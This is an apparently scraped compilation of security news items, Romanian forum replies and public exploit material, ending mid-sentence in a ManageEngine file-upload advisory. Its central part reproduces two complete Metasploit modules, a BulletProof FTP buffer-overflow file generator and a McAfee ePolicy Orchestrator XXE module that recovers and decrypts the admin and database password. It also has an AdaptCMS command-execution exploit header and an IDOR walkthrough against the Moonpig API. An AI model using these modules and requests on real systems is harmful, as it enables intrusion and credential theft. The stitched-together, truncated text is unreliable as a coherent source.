Aerosol

Some Skype users have reported seeing malicious ads inside their Skype clients in recent days that lead to a site that tries to download a fake Adobe or Java update. Users in the Skype community forum on Monday said that they have been seeing a banner ad that, if clicked on, will lead to a dodgy site that attempts to install software that’s disguised as either an Adobe or Java update. This is a common tactic for attackers using malicious ads in a variety of contexts. They often will try to entice users to click on an ad or link by telling them that they need to update a common piece of software, often Adobe Flash, Java or QuickTime. In this instance, the ads are appearing in users’ Skype clients, informing them that some content requires an Adobe update. The text of the ad has some misspellings and doesn’t really look like a dialog box that Flash would show a user. But for users who may be unfamiliar with genuine update mechanisms, it could be effective. Users in the Skype forum said that following the link in the ad takes victims to a site that tries to install an app on their machines. “DO NOT CLICK ON THE AD!! It will take you to a site pretending to be Adobe and try to download viruses to your machine,” a member using the name DavidR6 said in a post on the Skype community forum. A Skype community manager recommended that the user run a Fiddler trace on the traffic from the machine to the site to see what exactly the path was. “Should you still see this issue you can help us by providing a so called ‘Fiddler trace’. This includes a trace of the web resources accessed when this ad page is opened. This will help us confirm or rule out if a Skype ad is actually causing the behaviour you describe in this topic,” the manager wrote. Many large Web properties and applications use syndication networks to serve ads to users, but it’s not clear whether Skype employs a syndication network. A request for comment sent to Skype, which is owned by Microsoft, wasn’t returned. Source

If you need more evidence that ransomware is here to stay, and could turn into cybercriminals’ weapon of choice, look no further than Cryptowall. Researchers at Cisco’s Talos group today published an analysis of a Cryptowall 2.0 sample, peeling back many layers of known commodities around this threat, such as its use of the Tor anonymity network to disguise command-and-control communication. But perhaps more telling about the commitment around ransomware is the investment attackers made in its capabilities to detect execution in virtual environments, building in many stages of decryption present before the ransomware activates, and its ability to detect 32- and 64-bit architectures and executing different versions for each. “They went through a lot of work to hide the executable in encryption, to check if it’s running in a virtual machine, and the ability to exploit multiple environments,” said Talos security research engineer Earl Carter. “So much was put into Cryptowall 2.0. Someone went to a lot of work on the front end to avoid detection.” Cryptowall emerged close to a year ago and attackers have used it to generate noteworthy profits. Unlike first-generation ransomware that would lock a computer and generate a phony message informing the victim their machine had been seized because of illicit online activities, Cryptowall and its cousin Cryptolocker upped the ante and encrypted files on compromised machines. The malware demands a ransom for the decryption key to restore the user’s data, a key that many times is not delivered even if the ransom is forked over. Such ransomware is delivered most often via phishing campaigns or links to websites hosting exploit kits. For the particular sample analyzed by Cisco, the means of infection was last summer’s Windows TrueType font-parsing vulnerability which enables an elevation of privileges on a machine. A dropper was built for 32-bit machines, but could also came with a 64-bit DLL that could execute on AMD Windows machines, Carter said. “This one took from the best of both worlds; it would start with a 32-bit exploit that could also take advantage of 64-bit AMD processors. Just the fact that it was so seamless, that it could back and forth between the two however it needed to was noteworthy,” Carter said. “Normally it’s doing one or the other.” The Cisco report goes into great detail about the stages of the various decryption routines used by Cryptowall 2.0, all in the name of avoiding detection by antimalware and intrusion detection software. “It’s a pretty simple check looking for a common executable for VMware or (Oracle’s ) VirtualBox,” Carter said. “If it detects either, it assumes it’s in a virtual sandbox and will not execute. At that point, you don’t even have the [Cryptowall] code, just the dropper and not the actually Cryptowall binary that will run. “Everyone has a sandbox in a virtual environment, and they’re trying to avoid that initial detection so it won’t pop up and execute in the sandbox,” Carter said. “It’s hard to identify the sample as malware, and there’s a chance it will slip through and attack more systems.” News that Cryptowall was using Tor for command and control emerged in the fall, though it was not the first to do so. Malware and other scams have become increasingly present on Tor, which hides a packet’s originating IP address. “Using Tor just makes it harder to identify the command and control on the back end,” Carter said. “It’s not obvious it’s command-and-control traffic going across your network. You’ll see Tor traffic, but you can’t get to the underlying information to see the distinction.” Source

Sony has condemned the "vicious" cyber attack that led to it suspending the release of its film The Interview. Sony boss Kazuo Hirai used his keynote speech at the Consumer Electronics Show in Las Vegas to attack the hackers who penetrated the firm's internal network. The Guardians of Peace hacker group attacked Sony in a bid to stop the release of the movie. Mr Hirai said he was proud of those who stood up against the "extortionist" tactics of the hackers. Free speech "Both Sony, former employees and current employees were the victim of one of the most vicious and malicious cyber attacks in recent history," said Mr Hirai in off-the-cuff remarks made just before the firm's press conference at CES began. Speaking to the press, Mr Hirai said it would be "remiss" of him if he did not talk about the events of the last few weeks. The electronics firm has suffered a series of revelations orchestrated by the Guardians of Peace which gained access to the firm's network and stole huge amounts of internal information. This led to movies being pirated, personal information being shared and millions of private emails published. The attacks were carried out to convince Sony to halt the release of The Interview - a comedy about journalists recruited to assassinate North Korean leader Kim Jong Un. The movie's subject matter led US authorities to blame North Korea for the cyber assault, but many security experts have expressed doubt about this theory. Sony did withdraw the film before its planned release, but it is now available to view online and is on show at some cinemas. It made about $15m (£9.6m) through downloads alone over its first three days of distribution. "I have to say that I'm very proud of all the employees, and certainly the partners who stood up against the extortionist efforts of criminals, and worked tirelessly, sometimes for days on end to bring you The Interview," said Mr Hirai. He added: "I have to say that freedom of speech, freedom of expression, freedom of association - those are very important lifelines for Sony and our entertainment business". Source

Ransomware is being distributed to visitors of The Huffington Post website, as well as several other sites, via malicious advertisements served over the AOL advertising network, according to researchers with Cyphort Labs. In a Tuesday email correspondence, Nick Bilogorskiy, director of security research with Cyphort, told SCMagazine.com that the threat is a drive-by attack, meaning users are infected if they simply navigate to the affected site and their browsers or plugins are vulnerable. “No interaction is necessary,” Bilogorskiy said. Cyphort Labs researchers noticed at the end of last year that the Canadian Huffington Post website was hosting an advertisement from advertising[dot]com, an AOL advertising network, according to a Monday post. The advertisement ultimately redirected visitors to a landing page serving up either the Neutrino Exploit Kit or the Sweet Orange Exploit Kit, Bilogorskiy said. The exploit kit served a Flash exploit and a VB script, and then downloaded the Kovter trojan, which is ransomware that locks the infected machine's screen from access by the user. “Kovter creates a full-screen window, which displays the ransom note and blocks keyboard and mouse input,” Bilogorskiy said. “One special trick of Kovter is that it searches the web browser history of an infected machine, to spot explicit websites such as adult content [that was] visited by the user before. Displaying these links incorporated in the ransom note, the ransom demand becomes more realistic.” Recent Kovter variants have demanded between $300 and $500, and the lock screen is customized depending on the country of the user, Bilogorskiy said, explaining that supported countries include U.S., Germany, France, Spain, Great Britain, Italy, the Netherlands and Turkey. Cyphort Labs later learned that huffingtonpost[dot]com and a variety of other sites were also distributing the malware via malicious advertisements, with the common link being the advertising[dot]com or adtech[dot]de advertising networks – both of which are owned by AOL. The attack ceased shortly after Cyphort Labs notified the AOL security team of the issue, Bilogorskiy said. “When we consulted our logs we have seen the issue started in late October,” Bilogorskiy said. “So, one possibility is that AOL itself has been breached. Another possibility is that attackers are submitting the malicious ads and have AOL approving these ads for use in the ad network.” Bilogorskiy said that advertising networks get millions of submissions and it is challenging to filter every single malicious advertisement out of the system. “The attackers are accustomed to tricking the networks by making “armored” malverts, where they use various techniques to appear legitimate to the analysts, but infect the users nonetheless,” Bilogorskiy said. He explained, “For instance they will enable the malicious payload after a delay of several days after the ad is approved. Another way is to only serve the exploits to every 10th user, or every 20th user who views the ad. Verifying user agents and IP addresses also is a common strategy to hide from analysts and automated malware detection.” To prevent these types of issues, operators should use automatic systems to check their websites for malware and malicious advertisements, and advertising networks should be doing the same when it comes to monitoring content, Bilogorskiy said. Users should be applying patches, using updated anti-virus software, disabling unnecessary plugins in browsers, and using a JavaScript blocker. UPDATE: An AOL spokesperson told SCMagazine.com on Tuesday that AOL was made aware of the problem early on and quickly addressed the issue. “AOL is committed to bringing new levels of transparency to the advertising process, ensuring ads uphold quality standards and create positive consumer experiences,” the spokesperson said. Source

A UK consultant has demonstrated how a feature of the secure Web protocol HTTPS can be turned into a tracking feature that is, in the case of some browsers, ineradicable. HTTP Strict Transport Security (HSTS), described in RFC 6797 (here), is a mechanism that helps sites redirect users from the insecure HTTP version to the encrypted HTTPS version. If a user puts Google into their browser, it's HSTS that sends them to https://www.google.com. The problem is, someone thought it might be troublesome if the User Agent – that is, your browser – had to go through a redirect every time a user visited the https: site. So the authors of HSTS created a mechanism for browsers to remember the HSTS policy of sites they've visited. That's what Sam Greenhalgh has identified as a kind of super-cookie, here. His point is that an HSTS “pin” is set for each HTTPS-redirected site you use, it's unique to user and site, and it's readable from your browser settings by any site. “Once the number is stored it could be read by other sites in the future. Reading the number just requires testing if requests for the same web addresses are redirected or not,” Greenhalgh writes. Nor do “private” or “incognito” browsing modes help. Greenhalgh notes that some browsers allow the HSTS flags to be cleared, so that in Chrome, Firefox and Opera the issue is mitigated somewhat (IE doesn't support HSTS). Safari is the killer, though: “When using Safari on an Apple device there appears to be no way that HSTS flags can be cleared by the user. HSTS flags are even synced with the iCloud service so they will be restored if the device is wiped. In this case the device can effectively be 'branded' with an indelible tracking value that you have no way of removing.” It's a trick that needs a malicious site owner for an exploit. Greenhalgh also notes that the issue was described in 2012 by Mikhail Davidov here, calling implementation by a site owner “nearly trivial”. Google has told Greenhalgh that “defeating such fingerprinting is likely not practical without fundamental changes to how the Web works”, which seems odd to El Reg since IE manages to navigate the Web without supporting HSTS at all. Of course, it could merely be that Google feels some investment in HSTS, since its Adam Barth is one of RFC 6797's three authors. Source

The Federal Bureau of Investigation is taking the position that court warrants are not required when deploying cell-site simulators in public places. Nicknamed "stingrays," the devices are decoy cell towers that capture locations and identities of mobile phone users and can intercept calls and texts. The FBI made its position known during private briefings with staff members of Senate Judiciary Committee Chairman Patrick Leahy (D-Vt.) and Sen. Chuck Grassley (R-Iowa). In response, the two lawmakers wrote Attorney General Eric Holder and Homeland Security chief Jeh Johnson, maintaining they were "concerned about whether the FBI and other law enforcement agencies have adequately considered the privacy interests" of Americans. According to the letter, which was released last week: The letter was prompted in part by a Wall Street Journal report in November that said the Justice Department was deploying small airplanes equipped with cell-site simulators that enabled "investigators to scoop data from tens of thousands of cellphones in a single flight, collecting their identifying information and general location." The bureau's position on Americans' privacy isn't surprising. The Obama Administration has repeatedly maintained that the public has no privacy in public places. It began making that argument as early as 2010, when it told a federal appeals court that the authorities should be allowed to affix GPS devices on vehicles and track a suspect's every move without court authorization. The Supreme Court, however, eventually ruled that warrants are required. What's more, the administration has argued that placing a webcam with pan-and-zoom capabilities on a utility pole to spy on a suspect at his or her residence was no different from a police officer's observation from the public right-of-way. A federal judge last month disagreed with the government's position, tossing evidence gathered by the webcam that was operated from afar. In their letter, Leahy and Grassley complained that little is known about how stingrays, also known as ISMI catchers, are used by law enforcement agencies. The Harris Corp., a maker of the devices from Florida, includes non-disclosure clauses with buyers. Baltimore authorities cited a non-disclosure agreement to a judge in November as their grounds for refusing to say how they tracked a suspect's mobile phone. They eventually dropped charges rather than disclose their techniques. Further, sometimes the authorities simply lie to judges about their use or undertake other underhanded methods to prevent the public from knowing that the cell-site simulators are being used. "The Judiciary Committee needs a broader understanding of the full range of law enforcement agencies that use this technology, the policies in place to protect the privacy interests of those whose information might be collected using these devices, and the legal process that DOJ and DHS entities seek prior to using them," Leahy and Grassley wrote in their letter to Holder and Johnson. Hanni Fakhoury, an attorney for the Electronic Frontier Foundation, said some states and judges are pushing back against stingrays. "In Tacoma, judges now require police (to) specifically note they plan to use an IMSI catcher and promise not to store data collected from people who are not investigation targets," he said. "The Florida and Massachusetts state supreme courts ruled warrants were necessary for real-time cell phone tracking. Nine states—Colorado, Illinois, Indiana, Maryland, Minnesota, Tennessee, Utah, Virginia, and Wisconsin—passed laws specifically requiring police to use a warrant to track a cell phone in real time." Source

Airside Clouseau in search of something, anything Paris airport security went one step further than simply asking a security expert to power up her laptop - they requested she type in her password to decrypt her hard drive and log into the machine. Katie Moussouris, chief policy officer at HackerOne, and best known as the woman behind Microsoft's Bug Bounty Program, was en route back to the US from the CCC hacking conference. She complied with the request in order not to miss her flight. The computer never left her possession and the security agent never fully explained the request, according to Moussouris, and there's no question that HackerOne customers' vulnerability reports were exposed - no exploits were stored on the device. Nonetheless, the incident at Charles de Gaulle airport has sparked a lively debate among privacy and security advocates. Moussouris has put together a blog post explaining her experience: CDG airport personnel asked to search my bag, after I had cleared security, when I was about to board the flight. I had, in fact, already had my boarding pass checked by the gate attendant when a uniformed security agent diverted me to a small table, right before I was to enter the boarding tunnel. The security agent at the gate had me pull out my laptop, turn it on, and further asked me to type in my password, which decrypted the full disk encryption of the drive, even after she saw that it did boot up. It was clear there was a language barrier issue, but I was trying to show her that the login screen was there, the laptop did power up. I have had to power on my laptop and phone once before, in Brussels on my way back to the US, but I had never been required to unlock any devices, nor had I heard about friends having to do so - this was very unusual in my experience. When it was clear she wanted me to type in my password, I asked her why. The agent said it was "regulation", and so I complied so I would not miss my flight, or suffer other consequences, given that it was in the middle of boarding. She did not make me turn on or unlock my phone, and waved me through after she saw my desktop pop up with a browser window open to my Twitter feed on top. She didn't touch my laptop after I unlocked it, and none of my devices left my sight during the search. Moussouris attributes the whole "unsettling" experience to an "Inspector Clouseau" type official exceeding her authority in checking that a computer was operational rather than anything more sinister. However in a follow-up discussion privacy types said the incident illustrated the utility of guest accounts and hidden encrypted volumes in protecting sensitive data from the eyes of over-eager officialdom. Anecdotal evidence suggests the requests to type in passwords are not unique to Paris airports or particular airlines. HackerOne specialises in managing vulnerability coordination and bug bounty programs for its clients. ® Source

Moonpig are one of the most well known companies that sell personalised greeting cards in the UK. In 2007 they had a 90% market share and shipped nearly 6 million cards. In July 2011 they were bought by PhotoBox. I've seen some half-arsed security messures in my time but this just takes the biscuit. Whoever architected this system needs to be shot waterboarded. Let's dive straight in and take a look at one of their HTTP requests from the Android app to the Moonpig API. GET /rest/MoonpigRestWebservice.svc/addresses?&customerId=5379382&countryCode=9424 HTTP/1.1 Authorization: Basic aXBjiS5lOk1vb25QHjimvF58DEw Host: api.moonpig.com Connection: Keep-Alive Okay so we're using basic authentication, not ideal sending our username and password over in each request (as opposed to a sesssion key) but at least it's over HTTPS - it could be worse. Oh, it is worse. Decoding the auth header we get *redacted*:*redacted*, that's not my username or password - these are static credentials sent with every request. The only identifiable piece of information left is the URL parameter customerId. I created another account, added an address, changed the URL to my new customerId and lo and behold it spits out my saved addresses for the other account: GET https://api.moonpig.com/rest/MoonpigRestWebservice.svc/addresses?&customerId=713443990&countryCode=9424 [{"Address":"xxxxxx\u000d\u000axxxxxxx\u000d\u000axxxxxxx","AddressBookId":414628930,"AddressType":"CustomerAddress","AddressTypeId":1,"Anniversary":null,"Birthday":null,"BuildingName":null,"BuildingNumber":null,"Company":"Test","Country":"United Kingdom ","County":"London","Custom1":null,"Custom2":null,"Custom3":null,"Custom4":null,"Custom5":null,"CustomerId":0,"Deleted":false,"DeliveryInstructions":null,"EmailAddress":null,"FacebookId":null,"FilterChar":null,"Firstname":"Test","Greeting":null,"LastUpdated":"\/Date(147136045396670+0100)\/","Lastname":"Test","MainAddressBookId":null,"OtherDate":null,"Postcode":" LN1 3FN","PostcodeSystemUpdated":null,"SortByLastName":false,"Suffix":null,"TelephoneNo":null,"Title":"","TitleId":null,"Town":"London"}] Every API request is like this, there's no authentication at all and you can pass in any customer ID to impersonate them. An attacker could easily place orders on other customers accounts, add/retrieve card information, view saved addresses, view orders and much more. At this point one would usually decompile the APK and see if there are any hidden API methods but on this ocassion there's no need, Moonpig have made it easy for us. If you hit the API endpoint with an unknown method you'll get a custom 404 with a link to a help page listing every method available in their API with helpful descriptions. The help page also exposes their internal network DNS setup - but that's another story. From the help file it does seem that the API supports OAuth 2.0 authorization which would fix this vulnerability... if it was implemented in the Android client. One particular method caught my attention: GetCreditCardDetails. Surely not? I hit the method with my test customer ID and we are returned: <ArrayOfCustomerCreditCard xmlns="http://schemas.datacontract.org/2004/07/Moonpig.Model.CustomerAttributes.Accounting" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> <CustomerCreditCard> <CardType>Credit Card (Unspeci</CardType> <CustomerId>11466749</CustomerId> <ExpiryDate>12/18</ExpiryDate> <LastFourDigits>5993</LastFourDigits> <NameOnCard>Mr X XXX</NameOnCard> <TransactionId>5983632541-1/TransactionId> </CustomerCreditCard> Hey, at least they're not returning the full card number! I hit my test users a few hundred times in quick succession and I was not rate limited. Given that customer IDs are sequential an attacker would find it very easy to build up a database of Moonpig customers along with their addresses and card details in a few hours - very scary indeed. Responsible Disclosure 18th Aug '13 - (yes, 2013!) Initial contact made with vendor. After a few e-mails back and fourth their reasoning was legacy code and they'll "get right on it". 26th Sep '14 - Follow up e-mail. Issue still not resolved. ETA "before Christmas" 5th Jan '15 - Vulnerability still exists with ample amount of time given to vendor to fix the issue. Initially I was going to wait until they fixed their live endpoints but given the timeframes I've decided to publish this post to force Moonpig to fix the issue and protect the privacy of their customers (who knows who else knows about this!). ~17 months is more than enough time to fix an issue like this. It appears customer privacy is not a priority to Moonpig. Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'BulletProof FTP Client BPS Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in BulletProof FTP Client 2010, caused by an overly long hostname. By persuading the victim to open a specially-crafted .BPS file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gabor Seljan' ], 'References' => [ [ 'EDB', '34162' ], [ 'EDB', '34540' ], [ 'EDB', '35449' ], [ 'OSVDB', '109547' ], [ 'CVE', '2014-2973' ], ], 'DefaultOptions' => { 'ExitFunction' => 'process' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x1a", 'Space' => 2000 }, 'Targets' => [ [ 'Windows XP SP3', { 'Offset' => 89, 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll] } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 24 2014', 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps']) ], self.class) end def exploit eggoptions = { :checksum => true, :eggtag => 'w00t' } hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n" sploit << rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter + "\r\n" # FTP Server HOST / IP sploit << rand_text_numeric(5) + "\r\n" # Port number sploit << egg + "\r\n" # Login name sploit << rand_text_alpha(8) + "\r\n" # Login password # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(sploit) end end Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'openssl' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure', 'Description' => %q{ This module will exploit an authenticated XXE vulnerability to read the keystore.properties off of the filesystem. This properties file contains an encrypted password that is set during installation. What is interesting about this password is that it is set as the same password as the database 'sa' user and of the admin user created during installation. This password is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default, if installed with a local SQL Server instance, the SQL server is listening on all interfaces. Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server user in order to achieve remote command execution with permissions of the database process. If the administrator has no changed the password for the initially created account since installation, the attacker also now has the password for this account. By default, 'admin' is recommended. Any user account can be used to exploit this, all that is needed is a pair of credentials. The most data that can be successfully retrieved is 255 characters due to length restrictions on the field used to perform the XXE attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module ], 'References' => [ ], 'DisclosureDate' => '' )) register_options( [ Opt::RPORT(8443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]), OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) ], self.class) end def run key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk aes.decrypt aes.padding=1 aes.key = key res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') }) cookie = res.get_cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'), 'method' => 'POST', 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'] }, 'cookie' => cookie }) cookie = res.get_cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), 'cookie' => cookie }) if res.code != 302 fail_with(Failure::Unknown, 'Authentication failed') end cookie = res.get_cookies #This vuln requires a bit of setup before we can exploit it print_status("Setting up some things...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), 'cookie' => cookie }) auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'), 'vars_get' => { 'sectionId' => 'orion.automation', 'tabId' => 'orion.tasklog', 'orion.user.security.token' => auth_token }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), 'vars_get' => { 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'filter' => 'scheduler.tasklog.filter.day', 'secondaryFilter' => '', 'tableCellRendererAttr' => 'taskLogCellRenderer', 'count' => 44, 'sortProperty' => 'OrionTaskLogTask.StartDate', 'sortOrder' => 1, 'id' => 'taskLogTable' }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), 'vars_get' => { 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'orion.user.security.token' => auth_token }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), 'method' => 'POST', 'vars_post' => { 'dataSourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'columnWidths' => '285,285,285,285,285,285,285,285', 'sortColumn' => 'OrionTaskLogTask.StartDate', 'sortOrder' => '1', 'showFilters' => 'true', 'currentIndex' => 0, 'orion.user.security.token' => auth_token, 'ajaxMode' => 'standard' }, 'cookie' => cookie }) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), 'method' => 'POST', 'vars_post' => { 'displayType' => 'text_lookup', 'operator' => 'eq', 'propKey' => 'OrionTaskLogTask.Name', 'instanceId' => 0, 'orion.user.security.token' => auth_token, 'ajaxMode' => 'standard' }, 'cookie' => cookie }) print_status("Sending payload...") xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+datastore['FILEPATH']+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), 'method' => 'POST', 'vars_post' => { 'orion.user.security.token' => auth_token, 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'conditionXML' => xxe, 'secondaryFilter' => '', 'op' => 'eq', 'ajaxMode' => 'standard' }, 'cookie' => cookie }) print_status("Getting encrypted passphrase value from keystore.properties file...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), 'vars_get' => { 'datasourceAttr' => 'scheduler.tasklog.datasource.attr', 'tableId' => 'taskLogTable', 'orion.user.security.token' => auth_token }, 'cookie' => cookie }) passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") print_status("Base64 encoded encrypted passphrase: " + passphrase) passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase) end end Source

HDD nu sunt de toata jena, ele nu sunt facute sa dai cu pumnu, picioru sau sa le scapi tu... Controleaza-te ca, tu esti motivul petru care ele se strica...

@hanlee97 ceea ce ceri tu e illegal (aici nu e site de hacking ci Securitate IT ) 2. Baietii au ras de tine ( sincer nu ma asteptam sa dai datele ) 3. Pune mana pe carte si nu mai lipsi. +poate citesti regulamentul si vezi ca ai nevoie de 10 posturi utile pentru a posta in aceasta categorie..

Desi nu ar trebui sa iti raspund o fac. Ceea ce vrei tu sa faci se numeste ,,Penetration Testing,, si nu tine neaparat de OS ( de preferat Kali Linux ) dar trebuie sa ai si cunostiinte degeaba folosesti tool-uri daca esti paralel. Sfat: invata programare si apoi apucate de pentesting.

AdaptCMS 3.0.3 Remote Command Execution #!/usr/bin/env python # # # AdaptCMS 3.0.3 Remote Command Execution Exploit # # # Vendor: Insane Visions # Product web page: http://www.adaptcms.com # Affected version: 3.0.3 # # Summary: AdaptCMS is a Content Management System trying # to be both simple and easy to use, as well as very agile # and extendable. Not only so we can easily create Plugins # or additions, but so other developers can get involved. # Using CakePHP we are able to achieve this with a built-in # plugin system and MVC setup, allowing us to focus on the # details and end-users to focus on building their website # to look and feel great. # # Desc: AdaptCMS suffers from an authenticated arbitrary # command execution vulnerability. The issue is caused due # to the improper verification of uploaded files. This can # be exploited to execute arbitrary PHP code by creating # or uploading a malicious PHP script file that will be # stored in '\app\webroot\uploads' directory. # # Tested on: Apache 2.4.10 (Win32) # PHP 5.6.3 # MySQL 5.6.21 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience Advisory ID: ZSL-2015-5219 Advisory URL: [url]http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5219.php[/url] 29.12.2014 -- GET /adaptcms/admin/adaptbb/webroot/foo HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: adaptcms=uu16dmimdemvcq54h3nevq6oa0 Connection: keep-alive Referer: [url]http://zeroscience.mk[/url] Source

Hi, This is part 11 of the ManageOwnage series. For previous parts, see [1]. This time we have two remote code execution via file upload (and directory traversal) on several ManageEngine products - Service Desk Plus, Asset Explorer, Support Center and IT360. The first vulnerability can only be exploited by an authenticated user, but it can be a low privileged guest (which is a default account present in almost all installations). This vulnerability can be abused to drop an EAR file in the JBOSS directory which gets deployed automatically, giving code execution as SYSTEM / root. The second vulnerability allows you to perform an unauthenticated upload to anywhere in the file system with SYSTEM / root privileges. However only text files are handled correctly, as the servlet mangles binary files. Given the prevalence of guest / low privileged / default accounts in these products, the first vulnerability is by far the most interesting. I've released a Metasploit module which exploits it for all products. It should hopefully be integrated soon into Metasploit [2]. The full text of the advisory is below, and a copy can be obtained in my PoC repo [3]. Regards, Pedro ====================== >> Remote code execution / file upload in ManageEngine ServiceDesk Plus, AssetExplorer, SupportCenter Plus and IT360 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ========================================================================== Disclosure: 04/01/2015 / Last updated: 04/01/2015 >> Background on the affected products: "ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets." "SupportCenter Plus is a web-based customer support software that lets organizations effectively manage customer tickets, their account & contact information, the service contracts and in the process providing a superior customer experience." "ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM) software that helps you monitor and manage assets in your network from Planning phase to Disposal phase. AssetExplorer provides you with a number of ways to ensure discovery of all the assets in your network." "Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration." >> Technical details: #1 Vulnerability: Remote code execution via file upload and directory traversal (authenticated) CVE-2014-5301 Constraints: user login needed, but exploitable with the default low privilege guest account (u:guest/p:guest) Affected versions (inclusive): ServiceDesk Plus / Plus MSP v5 to v9.0 v9030; AssetExplorer v4 to v6.1; SupportCenter v5 to v7.9; IT360 v8 to v10.4 POST /common/FileAttachment.jsp POST /workorder/Attachment.jsp (older versions < v7 build 7016; AssetExplorer v4; all SupportCenter versions) It is possible to abuse a directory traversal vulnerability when uploading attachments. A Metasploit module that exploits this vulnerability has been released. Post data has to be formatted as a multi-part request with an embedded ear file. Below is the form data for the newer versions: Content-Type: multipart/form-data; boundary=---------------------------9313517619947 Content-Length: 1337 -----------------------------9313517619947 Content-Disposition: form-data; name="module" ../../server/default/deploy -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever.ear" Content-Type: application/octet-stream <...EAR file here...> -----------------------------9313517619947 Content-Disposition: form-data; name="att_desc" -----------------------------9313517619947-- #2 Vulnerability: Remote code execution via file upload (unauthenticated) CVE-2014-5302 Constraints: no authentication or any other information needed except for IT360 (guest account needed); code execution is only possible by replacing one of the <install_dir>bin/ scripts and waiting for them to be executed or for a periodic task to run. This is because only text files can be uploaded as binary files are mangled; and there no JSP compiler in the $PATH. Affected versions: ServiceDesk Plus / Plus MSP v7.6 to v9.0 build 9026; AssetExplorer v? to v6.1 build 6106; IT360 v? to v10.4 POST 